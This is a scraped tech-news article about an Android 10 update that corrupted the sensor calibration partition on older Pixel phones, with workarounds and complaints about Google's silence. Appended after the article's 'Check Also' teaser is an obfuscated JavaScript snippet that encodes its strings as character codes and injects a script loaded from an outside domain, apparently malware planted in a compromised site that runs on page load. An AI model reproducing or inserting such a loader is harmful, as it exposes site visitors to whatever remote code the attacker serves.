Many still affected by long-standing Android 10 update issue that breaks Pixel sensors

Last year, after the Android 10 update first started rolling out for Pixel owners, there were a handful of reports that device sensors — things like the ambient light sensor for screen brightness, orientation sensor for auto-rotation, and Active Edge sensor — stopped working. A workaround was found for those with unlocked bootloaders, and many of those affected were part of the root and ROM crowd, but almost six months later, many phones are still affected, and those with Verizon-branded, locked devices are still simply out of luck.

The technical explanation for the problem is straightforward: For some Pixel owners, the Android 10 update corrupted a “persist” partition, which holds calibration data for a phone’s internal sensors, including the Active Edge sensors, proximity sensor, ambient light sensor, and accelerometer. Without that functioning partition, device sensors that need that data don’t work correctly. This can break things like automatic brightness, auto-rotation, flip to shhh, lift to wake, and the “squeeze” for Assistant feature. The issue affected Google’s own Pixel devices prior to the Pixel 4, including the 2016 Pixel and Pixel XL, Pixel 2 and Pixel 2 XL, Pixel 3 and Pixel 3 XL, and the more recent Pixel 3a and Pixel 3a XL.

While some of those affected were using things like custom kernels or rooting their devices, many ran into the issue on perfectly stock phones. We should note, TWRP logs are also written to the persist partition, and in some cases, it apparently corrupts existing data due to limited space, making it a cause of the problem for some.

Right now, there are three workarounds for the issue: One can re-flash an older version of Android 9 Pie, which seems to bring back the functionality for some (though updating to Android 10  may break it again), or (via two different methods) one can restore the corrupted partition’s data from the same model phone running Android 10. For those that root or ROM their devices, that’s not a huge impediment, though finding a source you can trust is difficult if you value your security. But for non-enthusiasts or those on bootloader locked devices, like Pixels sold through Verizon, none of these is a reasonable solution.

Although a handful of folks have seen some (or even all) of their “broken” sensors fix themselves since the update landed, reports of the issue still continue. The related item in the Google Issue Tracker is now almost six months old and over 350 comments deep, with no official fix. The bug is currently labeled as priority one.

Google previously claimed that the issue would be fixed in last October’s update, but based on reports, a large number of Pixel device owners are still affected. Unfortunately for affected 2016 Pixel owners, those devices aren’t getting any more updates at all.

Given how long some have been experiencing this problem, we should also note that Google provides a mere one year warranty for customers in the US, so that means many of the affected devices are no longer covered for easy replacement under warranty, and those that are may have wasted almost half that period waiting for a fix.

Though we’ve reached out to the company (several times) for more information about this problem, Google has not responded to our repeated inquiries on the subject. In the meantime, it looks like those stuck waiting for a fix for the last five months will just have to keep waiting — we hope your warranty doesn’t run out.


Source link

Check Also

Children of the Light finally lands on Android, and it was worth the wait

Children of the Light finally lands on Android, and it was worth the wait

Sky: Children of the Light comes from Thatgamecompany, the same developer behind the critically-acclaimed titles …

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();